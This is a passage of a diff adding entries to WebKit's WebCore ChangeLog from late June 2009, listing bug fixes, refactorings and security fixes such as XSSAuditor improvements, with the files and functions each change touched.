+        (WebCore::V8Proxy::setDOMException):  Fix a bad merge that caused a couple of lines of extraneous, breaking code to get in.
+
+2009-06-29  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Simon Fraser  <simon.fraser@apple.com>.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26706
+
+        Fixed crash due to dereference of m_toStyle
+
+        * page/animation/ImplicitAnimation.cpp:
+        (WebCore::ImplicitAnimation::isTargetPropertyEqual):
+
+2009-06-29  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        <rdar://problem/7014813> Ask media engine if a movie is streamed or downloaded.
+
+        * WebCore.base.exp: 
+            Export _wkQTMovieGetType
+
+        * platform/graphics/MediaPlayer.cpp:
+        (WebCore::MediaPlayer::hasSingleSecurityOrigin):
+            Move to keep with other non-callback functions.
+        (WebCore::MediaPlayer::movieLoadType):
+            New, returns the movie type.
+        * platform/graphics/MediaPlayer.h:
+            Declare MovieLoadType enum and movieLoadType method.
+
+        * platform/graphics/MediaPlayerPrivate.h:
+        (WebCore::MediaPlayerPrivateInterface::movieLoadType):
+            Default implementation of movieLoadType
+
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.h:
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
+        (WebCore::MediaPlayerPrivate::createQTMovie):
+            Don't base m_isStreaming on protocol, there are other types of streaming movies.
+        (WebCore::MediaPlayerPrivate::maxTimeBuffered):
+            Don't assume all streams are unbuffered.
+        (WebCore::MediaPlayerPrivate::updateStates):
+            Update m_isStreaming once we have metadata.
+        (WebCore::MediaPlayerPrivate::disableUnsupportedTracks):
+            Tracks that are disabled to begin with shouldn't be included in m_enabledTrackCount.
+        (WebCore::MediaPlayerPrivate::movieLoadType):
+            New, return movie type.
+
+        * platform/mac/WebCoreSystemInterface.h:
+        * platform/mac/WebCoreSystemInterface.mm:
+            Add wkQTMovieGetType.
+
+2009-06-29  Alice Liu  <alice.liu@apple.com>
+
+        Fixed <rdar://problem/6930280> Reproducible crash at USA Today photo gallery
+
+        Reviewed by Anders Carlsson.
+
+        No test added because the crash requires a flash plugin
+
+        * plugins/win/PluginMessageThrottlerWin.cpp:
+        Rely on the hWnd of the plugin to tell us whether the PluginView has 
+        been deleted during execution of its wndProc.
+        (WebCore::PluginMessageThrottlerWin::messageThrottleTimerFired):
+
+2009-06-29  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by David Levin.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26811
+         [Chromium] Remove a flag and functions used to enable workers in runtime.
+
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+        * bindings/v8/WorkerContextExecutionProxy.h:
+
+2009-06-29  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dave Hyatt.
+        
+        <rdar://problem/6976712> Text antialiasing problems when rendering into compositing layers.
+        
+        Improve the appearance of text in compositing layers by making use of
+        CA's layer geometry flipping, rather that doing it ourselves with a flip
+        transform. This allows CG to use font autohinting in the layer text.
+
+        * platform/graphics/GraphicsLayer.h:
+        (WebCore::GraphicsLayer::setGeometryOrientation):
+        (WebCore::GraphicsLayer::geometryOrientation):
+        New methods to set whether this layer uses flipped geometry.
+        
+        * platform/graphics/mac/GraphicsLayerCA.h:
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        (WebCore::GraphicsLayerCA::setGeometryOrientation):
+        (WebCore::GraphicsLayerCA::geometryOrientation):
+        Subclass in order to call into CA
+        
+        (WebCore::GraphicsLayerCA::setContentsLayer):
+        Now that CA is doing the geometry flipping, we no longer need to flip the content
+        layers for image and video manually
+        
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::ensureRootPlatformLayer):
+        Turn on flipping on the root layer.
+
+2009-06-29  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
+
+        Reviewed by Adam Treat.
+
+        Fixes: https://bugs.webkit.org/show_bug.cgi?id=26246
+
+        Implement most WML specific <select> element features.
+        Add 'iname' / 'ivalue' support and support variable references.
+
+        Add two tests covering most select/variable related functionality.
+        Needs more tests when adding full 'iname' / 'ivalue' support (used in conjuction with onpick).
+
+        Tests: http/tests/wml/post-data-to-server.html
+               wml/select-element-variables.html
+
+        * dom/SelectElement.cpp:
+        (WebCore::SelectElement::optionCount): Refactored from HTMLSelectElement::length() for use within HTML & WML.
+        * dom/SelectElement.h:
+        * html/HTMLSelectElement.cpp:
+        (WebCore::HTMLSelectElement::length): Use new SelectElement::optionCount() function. (no functional changes for HTML).
+        * wml/WMLCardElement.cpp:
+        (WebCore::WMLCardElement::handleIntrinsicEventIfNeeded): Activated commented code taking care of WMLSelectElement initialization.
+        * wml/WMLSelectElement.cpp: Add a bunch of new code handling WML specific feature processing.
+        (WebCore::WMLSelectElement::title):
+        (WebCore::WMLSelectElement::formControlName):
+        (WebCore::WMLSelectElement::defaultEventHandler):
+        (WebCore::WMLSelectElement::selectInitialOptions):
+        (WebCore::WMLSelectElement::calculateDefaultOptionIndices):
+        (WebCore::WMLSelectElement::selectDefaultOptions):
+        (WebCore::WMLSelectElement::initializeVariables):
+        (WebCore::WMLSelectElement::updateVariables):
+        (WebCore::WMLSelectElement::parseIndexValueString):
+        (WebCore::WMLSelectElement::valueStringToOptionIndices):
+        (WebCore::WMLSelectElement::optionIndicesToValueString):
+        (WebCore::WMLSelectElement::optionIndicesToString):
+        (WebCore::WMLSelectElement::name):
+        (WebCore::WMLSelectElement::value):
+        (WebCore::WMLSelectElement::iname):
+        (WebCore::WMLSelectElement::ivalue):
+        * wml/WMLSelectElement.h:
+
+2009-06-29  David Hyatt  <hyatt@apple.com>
+
+        Reviewed by Adam Roben.
+
+        Put <datagrid> behind an ifdef.
+
+        * Configurations/FeatureDefines.xcconfig:
+        * bindings/js/JSDataGridColumnListCustom.cpp:
+        * bindings/js/JSDataGridDataSource.cpp:
+        * bindings/js/JSDataGridDataSource.h:
+        * bindings/js/JSHTMLDataGridElementCustom.cpp:
+        * html/DataGridColumn.cpp:
+        * html/DataGridColumn.h:
+        * html/DataGridColumn.idl:
+        * html/DataGridColumnList.cpp:
+        * html/DataGridColumnList.h:
+        * html/DataGridColumnList.idl:
+        * html/DataGridDataSource.h:
+        * html/HTMLDataGridCellElement.cpp:
+        * html/HTMLDataGridCellElement.h:
+        * html/HTMLDataGridCellElement.idl:
+        * html/HTMLDataGridColElement.cpp:
+        * html/HTMLDataGridColElement.h:
+        * html/HTMLDataGridColElement.idl:
+        * html/HTMLDataGridElement.cpp:
+        * html/HTMLDataGridElement.h:
+        * html/HTMLDataGridElement.idl:
+        * html/HTMLDataGridRowElement.cpp:
+        * html/HTMLDataGridRowElement.h:
+        * html/HTMLDataGridRowElement.idl:
+        * html/HTMLTagNames.in:
+        * page/DOMWindow.idl:
+        * rendering/RenderDataGrid.cpp:
+        * rendering/RenderDataGrid.h:
+
+2009-06-29  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by Ariya Hidayat and Adam Roben.
+
+        Fix compilation with MINGW. Ported MSVC inline assembly to
+        GNU inline assembly. Also fixed casting errors where gcc
+        refused to cast a pointer-to-function to a pointer-to-object,
+        without an intermediate cast to a non-pointer type.
+
+        * plugins/win/PluginViewWin.cpp:
+        (WebCore::PluginView::hookedBeginPaint):
+        (WebCore::PluginView::hookedEndPaint):
+        (WebCore::hook):
+        (WebCore::setUpOffscreenPaintingHooks):
+
+2009-06-26  John Sullivan  <sullivan@apple.com>
+
+        Added Speech submenu to context menu on Mac when there's a non-editable selection
+        (it was already present when there's an editable selection). 
+        Also added support for disabling "Stop Speaking" when there is no speaking to stop.
+
+        Reviewed by Tim Hatcher.
+
+        * loader/EmptyClients.h:
+        (WebCore::EmptyContextMenuClient::isSpeaking):
+        implemented this new virtual function to return false
+        
+        * page/ContextMenuClient.h:
+        declared this new pure virtual function
+        
+        * platform/ContextMenu.cpp:
+        (WebCore::ContextMenu::populate):
+        insert Speech item (after a separator) on Mac when there's selected non-editable text
+        (WebCore::ContextMenu::checkOrEnableIfNeeded):
+        enable Stop Speaking item only if the context menu client returns true for isSpeaking()
+
+2009-06-28  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        - fix https://bugs.webkit.org/show_bug.cgi?id=26783
+          <rdar://problem/7014543> REGRESSION (r45296): Subfolders not displayed
+          in MobileMe iDisk Web App
+
+        Test: added a case to fast/dom/Element/scrollWidth.html
+
+        Ensure that scroll{Width, Height} is greater or equal to
+        client{Width, Height}.
+
+        * rendering/RenderBox.cpp:
+        (WebCore::RenderBox::scrollWidth):
+        (WebCore::RenderBox::scrollHeight):
+
+2009-06-27  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26780
+        
+        Do not make compositing layers for non-self-painting RenderLayers,
+        since these exist only to push a clip onto the clipping stack. If such
+        a layer gets compositied for some other reason, it should not paint.
+        
+        Also ensure that we update composited layer positions correctly
+        inside overflow:scroll layers. We can't assume that the contents
+        are child layers, so we have to go up to the compositing ancestor,
+        and tell it to update all its child layer positions as we do 
+        after layout.
+
+        Tests: compositing/layers-inside-overflow-scroll.html
+               compositing/self-painting-layers.html
+
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::scrollToOffset):
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::paintIntoLayer):
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::calculateCompositedBounds):
+        (WebCore::RenderLayerCompositor::needsToBeComposited):
+
+2009-06-28  Luke Kenneth Casson Leighton  <lkcl@lkcl.net>
+
+        Reviewed by Eric Seidel.
+
+        PurgeableBuffer #defines leave out functions on gtk MacOSX 10.4 build
+        https://bugs.webkit.org/show_bug.cgi?id=23057
+
+        Define these functions for Gtk as well.
+
+        * platform/PurgeableBuffer.h:
+
+2009-06-28  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Update CodeGeneratorV8.pm to match the new api for V8Proxy.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26765
+
+        * bindings/scripts/CodeGeneratorV8.pm: Match the current version of V8Proxy.
+
+2009-06-28  Nicolas Sylvain  <nsylvain@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        If loading a font fails because of the sandbox, we ask the browser process to 
+        try to load it by calling ensureFontLoaded. If it still fails after 
+        ensureFontLoaded, we hit a ASSERT_NOT_REACHED. 
+
+        This case happens once in a while during browser shutdown. The browser will 
+        queue a message to the renderer to shutdown, and will then stop answering sync 
+        messages from the renderer. If the renderer is still loading a page during this 
+        time, it might try to call the browser process to ask to load a font. The 
+        browser process will ignore the request, and the font will fail to load, even 
+        after the second try. 
+
+        This is unfortunate, but there is no real risk here, since the renderer will be 
+        going away as soon as it processes another message. 
+
+        This can't be layout tested as it depends on the sandbox. 
+
+        https://bugs.webkit.org/show_bug.cgi?id=26743 
+
+        * platform/graphics/chromium/FontChromiumWin.cpp:
+        * platform/graphics/chromium/FontPlatformDataChromiumWin.cpp:
+        * platform/graphics/chromium/GlyphPageTreeNodeChromiumWin.cpp:
+        * platform/graphics/chromium/SimpleFontDataChromiumWin.cpp:
+
+2009-06-28  John Abd-El-Malek  <jam@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=15457
+
+        Test: plugins/netscape-plugin-map-data-to-src.html
+
+        Fix problems with Real or WMP plugins not displaying because "data" was set
+        on the OBJECT tag instead of "src".  This is based on what Firefox does, see
+        http://mxr.mozilla.org/mozilla-central/source/layout/generic/nsObjectFrame.cpp#3045
+
+        * rendering/RenderPartObject.cpp:
+        (WebCore::mapDataParamToSrc):
+        (WebCore::RenderPartObject::updateWidget):
+
+2009-06-27  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Jan Alonzo.
+
+        [Qt] Build fix after r45290
+        https://bugs.webkit.org/show_bug.cgi?id=26769
+
+        * WebCore.pro:
+
+2009-06-27  Emilio Pozuelo Monfort  <pochu27@gmail.com>
+
+        Reviewed by Jan Alonzo.
+
+        [GTK] Don't use deprecated GTKsymbols.
+        https://bugs.webkit.org/show_bug.cgi?id=26583
+
+        * plugins/gtk/gtk2xtbin.c:
+        (gtk_xtbin_class_init):
+        (gtk_xtbin_new):
+        (gtk_xtbin_destroy):
+
+2009-06-27  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26780
+        
+        Fix up previous change. When computeCompositingRequirements() determines
+        that the current layer is composited, it needs to inform its parent
+        by setting compositingState.m_subtreeIsCompositing() to true. That didn't
+        always happen after the previous patch. Clarified the logic here.
+        
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::CompositingState::CompositingState):
+        (WebCore::RenderLayerCompositor::computeCompositingRequirements):
+
+2009-06-27  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26780
+        
+        First part: fix the RenderLayer::hasCompositingDescendant() flag to be set
+        correctly.
+
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::computeCompositingRequirements):
+        Do not unconditionally set compositingState.m_subtreeIsCompositing, because
+        that can clobber the value from an earlier sibling. Add some more comments.
+        
+        Remove a final use of Vector iterators.
+        
+        (WebCore::RenderLayerCompositor::recursiveRepaintLayerRect):
+        Move the normalFlowList() processing outside the test for isStackingContext().
+
+2009-06-27  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Simon Fraser and Antti Koivisto.
+
+        - make paintFillLayerExtended() non-virtual and remove its clipY and
+          clipH parameters
+
+        These parameters were computed and passed along to
+        paintFillLayerExtended in order to vertically constrain the rect fill to
+        the damage rect, because Qt cannot paint tall rectangles (see
+        <http://websvn.kde.org/?view=rev&revision=42721>). Since the damage rect
+        is passed along in the PaintInfo, the extra parameters are redundant,
+        and the intersection can just take place in paintFillLayerExtended().
+
+        * rendering/InlineFlowBox.cpp:
+        (WebCore::InlineFlowBox::paintFillLayers):
+        (WebCore::InlineFlowBox::paintFillLayer):
+        (WebCore::InlineFlowBox::paintBoxDecorations):
+        (WebCore::InlineFlowBox::paintMask):
+        * rendering/InlineFlowBox.h:
+        * rendering/RenderBox.cpp:
+        (WebCore::RenderBox::paintRootBoxDecorations):
+        (WebCore::RenderBox::paintBoxDecorations):
+        (WebCore::RenderBox::paintMask):
+        (WebCore::RenderBox::paintMaskImages):
+        (WebCore::RenderBox::paintFillLayers):
+        (WebCore::RenderBox::paintFillLayer):
+        * rendering/RenderBox.h:
+        * rendering/RenderBoxModelObject.cpp:
+        (WebCore::RenderBoxModelObject::paintFillLayerExtended):
+        * rendering/RenderBoxModelObject.h:
+        * rendering/RenderFieldset.cpp:
+        (WebCore::RenderFieldset::paintBoxDecorations):
+        (WebCore::RenderFieldset::paintMask):
+        * rendering/RenderTable.cpp:
+        (WebCore::RenderTable::paintBoxDecorations):
+        (WebCore::RenderTable::paintMask):
+        * rendering/RenderTableCell.cpp:
+        (WebCore::RenderTableCell::paintBackgroundsBehindCell):
+        (WebCore::RenderTableCell::paintMask):
+
+2009-06-27  Ryosuke Niwa  <rniwa@google.com>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26762
+
+        Clean up for IndentOutdentCommand::indentRegion, and solved most of problems related to the bug 21712.
+        https://bugs.webkit.org/show_bug.cgi?id=21712
+
+        Added few utility functions to htmlediting.h/cpp
+
+        isVisibilyAdjacent checks whether the first position is visibly next to the second position.
+        i.e. there is no visible node between the first and second positions
+
+        canMergeLists checks whether two lists can be merged.
+        It checks the type of list, the editing boundary, and adjacency of the lists.
+
+        Tests: editing/execCommand/indent-nested-lists-1.html
+               editing/execCommand/indent-nested-lists-2.html
+               editing/execCommand/indent-nested-lists-3.html
+               editing/execCommand/indent-nested-lists-4.html
+               editing/execCommand/indent-nested-lists-5.html
+               editing/execCommand/indent-nested-lists-6.html
+               editing/execCommand/indent-nested-lists-7.html
+               editing/execCommand/outdent-nested-lists-1.html
+               editing/execCommand/outdent-nested-lists-2.html
+               editing/execCommand/outdent-nested-lists-3.html
+               editing/execCommand/outdent-nested-lists-4.html
+
+        * editing/IndentOutdentCommand.cpp:
+        (WebCore::IndentOutdentCommand::prepareBlockquoteLevelForInsertion):
+        (WebCore::IndentOutdentCommand::tryIndentingAsListItem):
+        (WebCore::IndentOutdentCommand::indentIntoBlockquote):
+        (WebCore::IndentOutdentCommand::indentRegion):
+        * editing/IndentOutdentCommand.h:
+        * editing/htmlediting.cpp:
+        (WebCore::enclosingListChild):
+        (WebCore::canMergeLists):
+        (WebCore::isVisibilyAdjacent):
+        * editing/htmlediting.h:
+
+2009-06-27  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: Fix completion when iterating options using Tab.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26722
+
+        * inspector/front-end/TextPrompt.js:
+        (WebInspector.TextPrompt.prototype._completionsReady):
+
+2009-06-27  Gustavo Noronha Silva  <gns@gnome.org>
+
+        Reviewed by Holger Freyther.
+
+        https://bugs.webkit.org/show_bug.cgi?id=25889
+        [GTK] scrollbar policy for main frame is not implementable
+
+        Override visibleContentRect to handle GTK+'s case, in which
+        scrollbars or equivalent decoration are painted by the parent
+        widget.
+
+        * platform/ScrollView.cpp:
+        * platform/gtk/ScrollViewGtk.cpp:
+        (WebCore::ScrollView::visibleContentRect):
+
+2009-06-27  Daniel Bates  <dbates@intudata.com>
+
+        Reviewed by Adam Barth.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26708
+        
+        Fix addresses false negatives with respect to scheme relative paths, iFrame JavaScript URLs,
+        and UTF-7 encoded payloads.   
+
+        Tests: http/tests/security/xssAuditor/http-equiv-utf-7-encoded.html
+               http/tests/security/xssAuditor/iframe-javascript-url.html
+               http/tests/security/xssAuditor/script-tag-utf-7-encoded.html
+               http/tests/security/xssAuditor/script-tag-with-source-relative-scheme.html
+
+        * html/HTMLTokenizer.cpp:
+        (WebCore::HTMLTokenizer::scriptHandler): Moved XSSAuditor check to HTMLTokenizer::parseTag.
+        (WebCore::HTMLTokenizer::parseTag):
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::loadSubframe): Modified to inform XSSAuditor of parent frame so
+        as to compare against iFrame javascript URL.
+        * page/XSSAuditor.cpp: Removed method XSSAuditor::isControlCharacter. Instead, exposed method
+        isControlCharacter in ResourceResponseBase.cpp.
+        (WebCore::XSSAuditor::XSSAuditor):
+        (WebCore::XSSAuditor::decodeURL): Modified to decode string using specified encoder.
+        (WebCore::XSSAuditor::findInRequest): Generalized to arbitrary frame so as to prevent execution
+        of iFrame javascript URL.
+        * page/XSSAuditor.h: Added field m_parentFrame.
+        * platform/network/ResourceResponseBase.cpp:
+        (WebCore::isControlCharacter):
+        * platform/network/ResourceResponseBase.h:
+
+2009-06-27  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        Bug 26771: Canvas is incorrectly tainted when drawing from a video element that uses <source> elements
+
+        The drawImage(<video>) logic naively assumes that it just needs
+        to check the src attribute of the video element when in fact it
+        needs to look at the url that is being played instead.  Failure
+        to do this means that video provided through source elements 
+        taints the canvas.
+
+        Test: media/video-canvas-source.html
+
+        * html/CanvasRenderingContext2D.cpp:
+        (WebCore::CanvasRenderingContext2D::checkOrigin):
+        (WebCore::CanvasRenderingContext2D::drawImage):
+        * html/CanvasRenderingContext2D.h:
+
+2009-06-26  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26695
+        
+        Added the ability to do scrollbar hit testing in EventHandler, changed the
+        signature of a PlatformWheelEvent constructor, and changed scrollbarUnderMouse
+        to scrollbarUnderPoint, and updated all calls to that function.        
+
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::hitTestResultAtPoint):
+        (WebCore::EventHandler::handleMousePressEvent):
+        (WebCore::EventHandler::handleMouseMoveEvent):
+        * page/EventHandler.h:
+        (WebCore::):
+        * platform/PlatformWheelEvent.h:
+        * platform/ScrollView.cpp:
+        (WebCore::ScrollView::scrollbarUnderPoint):
+        * platform/ScrollView.h:
+        * platform/chromium/PopupMenuChromium.cpp:
+        (WebCore::PopupListBox::handleMouseDownEvent):
+        (WebCore::PopupListBox::handleMouseMoveEvent):
+        * platform/win/WheelEventWin.cpp:
+        (WebCore::PlatformWheelEvent::PlatformWheelEvent):
+
+
+2009-06-26  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        <rdar://problem/7011924> Opacity transitions should not trigger hardware compositing mode
+        
+        Don't go into compositing mode just for opacity transitions, but they will be
+        hardware acclerated if we're already compositing.
+
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::requiresCompositingLayer):
+        (WebCore::RenderLayerCompositor::requiresCompositingForTransform):
+        (WebCore::RenderLayerCompositor::requiresCompositingForAnimation):
+        * rendering/RenderLayerCompositor.h:
+
+2009-06-26  Simon Fraser  <simon.fraser@apple.com>
+
+        Rubber-stamped by Dave Levin
+
+        Rename ioCompState to compositingState to better match WebCore coding style.
+        
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::computeCompositingRequirements):
+        (WebCore::RenderLayerCompositor::rebuildCompositingLayerTree):
+
+2009-06-26  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Mark Rowe.
+
+        - revert unintentional project changes from r45277
+
+        * WebCore.xcodeproj/project.pbxproj:
+
+2009-06-26  Mark Rowe  <mrowe@apple.com>
+
+        Fix the Windows build.
+
+        * WebCore.vcproj/WebCore.vcproj: Remove ColorSafari.cpp as
+        the file was deleted from SVN.
+
+2009-06-26  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26766
+
+        Change to use array indexing rather than Vector enumerators; the former
+        are preferred style.
+
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::hasNonCompositingContent):
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::calculateCompositedBounds):
+        (WebCore::RenderLayerCompositor::computeCompositingRequirements):
+        (WebCore::RenderLayerCompositor::rebuildCompositingLayerTree):
+        (WebCore::RenderLayerCompositor::updateCompositingChildrenGeometry):
+        (WebCore::RenderLayerCompositor::recursiveRepaintLayerRect):
+        (WebCore::RenderLayerCompositor::layerHas3DContent):
+
+2009-06-26  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        - fix <rdar://problem/6961476> REGRESSION (r42043): scrollWidth reported
+          as 1 px
+
+        Test: fast/dom/Element/scrollWidth.html
+
+        Changed scrollWidth and scrollHeight to use the same logic for
+        visible overflow boxes that is used for clipped overflow boxes. In
+        particular, borders are not included and
+        {leftmost,rightmost,lowest}Position() are used. This logic matches IE8.
+
+        * rendering/RenderBox.cpp:
+        (WebCore::RenderBox::scrollWidth):
+        (WebCore::RenderBox::scrollHeight):
+
+2009-06-26  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Bug 26725: aria-hidden, aria-disabled, aria-readonly need to be implemented
+        https://bugs.webkit.org/show_bug.cgi?id=26725
+
+        Tests: accessibility/aria-disabled.html
+               accessibility/aria-hidden.html
+               accessibility/aria-readonly.html
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::ariaIsHidden):
+        (WebCore::AccessibilityRenderObject::accessibilityIsIgnored):
+        (WebCore::AccessibilityRenderObject::isEnabled):
+        (WebCore::AccessibilityRenderObject::canSetValueAttribute):
+        * accessibility/AccessibilityRenderObject.h:
+        * html/HTMLAttributeNames.in:
+
+2009-06-26  Brett Wilson  <brettw@chromium.org>
+
+        Reviewed by David Levin.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26759
+
+        GIFImageDecoder is broken.
+
+        Make the GIFImageDecoder.repetitionCount function const to match the
+        base class. The mismatched definitions were causing the function to not
+        get called.
+
+        * platform/image-decoders/gif/GIFImageDecoder.cpp:
+        (WebCore::GIFImageDecoder::repetitionCount):
+        * platform/image-decoders/gif/GIFImageDecoder.h:
+
+2009-06-26  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Simon Fraser  <simon.fraser@apple.com>.
+
+        Additional fix for https://bugs.webkit.org/show_bug.cgi?id=26651
+
+        The flag should always default to true to avoid it getting set
+        to false in a build with accelerated compositing turned off
+        and then disabling accelerated compositing when subsequently
+        running a build with it turned on.
+
+        * page/Settings.cpp:
+        (WebCore::Settings::Settings):
+
+2009-06-26  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Followup for the fix for <rdar://problem/6961578> REGRESSION (r43511): Opening .fdf files from Acrobat Professional fails
+
+        Now that other MIME type correction stuff is in our swizzled method, Tiger needs it too!
+
+        * platform/network/mac/ResourceHandleMac.mm:
+        (-[WebCoreResourceHandleAsDelegate connection:didReceiveResponse:]):
+        * platform/network/mac/WebCoreURLResponse.h:
+
+2009-06-26  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26732
+
+        For the final step of https://bugs.webkit.org/show_bug.cgi?id=25376,
+        combine LocalStorage and SessionStorage into StorageNamespace. The
+        synching code (for LocalStorage) has already been removed, so these
+        classes are now very similar.  All they do is essentially contain a
+        logical grouping of origins that are attached to specific contexts
+        (be it PageGroups for LocalStorage and Page for SessionStorage).
+
+        * GNUmakefile.am:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * page/Chrome.cpp:
+        (WebCore::Chrome::createWindow):
+        * page/DOMWindow.cpp:
+        (WebCore::DOMWindow::localStorage):
+        * page/DOMWindow.h:
+        * page/Page.cpp:
+        (WebCore::Page::sessionStorage):
+        (WebCore::Page::setSessionStorage):
+        * page/Page.h:
+        * page/PageGroup.cpp:
+        (WebCore::PageGroup::localStorage):
+        * page/PageGroup.h:
+        * storage/LocalStorage.cpp: Removed.
+        * storage/LocalStorage.h: Removed.
+        * storage/LocalStorageTask.cpp:
+        * storage/LocalStorageThread.cpp:
+        * storage/SessionStorage.cpp: Removed.
+        * storage/SessionStorage.h: Removed.
+        * storage/StorageArea.cpp:
+        (WebCore::StorageArea::create):
+        (WebCore::StorageArea::StorageArea):
+        (WebCore::StorageArea::copy):
+        (WebCore::StorageArea::length):
+        (WebCore::StorageArea::key):
+        (WebCore::StorageArea::getItem):
+        (WebCore::StorageArea::setItem):
+        (WebCore::StorageArea::removeItem):
+        (WebCore::StorageArea::clear):
+        (WebCore::StorageArea::contains):
+        (WebCore::StorageArea::importItem):
+        (WebCore::StorageArea::close):
+        (WebCore::StorageArea::dispatchStorageEvent):
+        * storage/StorageArea.h:
+        (WebCore::):
+        * storage/StorageAreaSync.cpp:
+        (WebCore::StorageAreaSync::scheduleFinalSync):
+        * storage/StorageNamespace.cpp: Copied from WebCore/storage/LocalStorage.cpp.
+        (WebCore::localStorageNamespaceMap):
+        (WebCore::StorageNamespace::localStorageNamespace):
+        (WebCore::StorageNamespace::sessionStorageNamespace):
+        (WebCore::StorageNamespace::StorageNamespace):
+        (WebCore::StorageNamespace::~StorageNamespace):
+        (WebCore::StorageNamespace::copy):
+        (WebCore::StorageNamespace::storageArea):
+        (WebCore::StorageNamespace::close):
+        * storage/StorageNamespace.h: Copied from WebCore/storage/LocalStorage.h.
+
+2009-06-26  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by David Levin.
+
+        Upstream V8Proxy.  This involved updating a lot of function and variable names to match WebKit style, hence the large size.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26623
+
+        * bindings/v8/ScheduledAction.cpp:
+        (WebCore::ScheduledAction::ScheduledAction):
+        (WebCore::ScheduledAction::~ScheduledAction):
+        (WebCore::ScheduledAction::execute):
+        * bindings/v8/ScriptCallStack.cpp:
+        (WebCore::ScriptCallStack::ScriptCallStack):
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::isSafeScript):
+        (WebCore::ScriptController::gcProtectJSWrapper):
+        (WebCore::ScriptController::gcUnprotectJSWrapper):
+        (WebCore::ScriptController::processingUserGesture):
+        (WebCore::ScriptController::evaluate):
+        (WebCore::ScriptController::setEventHandlerLineNumber):
+        (WebCore::ScriptController::bindToWindowObject):
+        (WebCore::ScriptController::collectGarbage):
+        (WebCore::ScriptController::haveInterpreter):
+        (WebCore::createScriptObject):
+        (WebCore::ScriptController::createScriptObjectForPluginElement):
+        * bindings/v8/ScriptInstance.cpp:
+        (WebCore::V8ScriptInstance::clear):
+        (WebCore::V8ScriptInstance::set):
+        * bindings/v8/ScriptObject.cpp:
+        (WebCore::ScriptGlobalObject::set):
+        * bindings/v8/ScriptObjectQuarantine.cpp:
+        (WebCore::getQuarantinedScriptObject):
+        * bindings/v8/ScriptScope.cpp:
+        (WebCore::ScriptScope::ScriptScope):
+        * bindings/v8/ScriptValue.h:
+        (WebCore::ScriptValue::ScriptValue):
+        (WebCore::ScriptValue::operator=):
+        (WebCore::ScriptValue::clear):
+        * bindings/v8/V8AbstractEventListener.cpp:
+        (WebCore::V8AbstractEventListener::invokeEventHandler):
+        (WebCore::V8AbstractEventListener::handleEvent):
+        (WebCore::V8AbstractEventListener::disposeListenerObject):
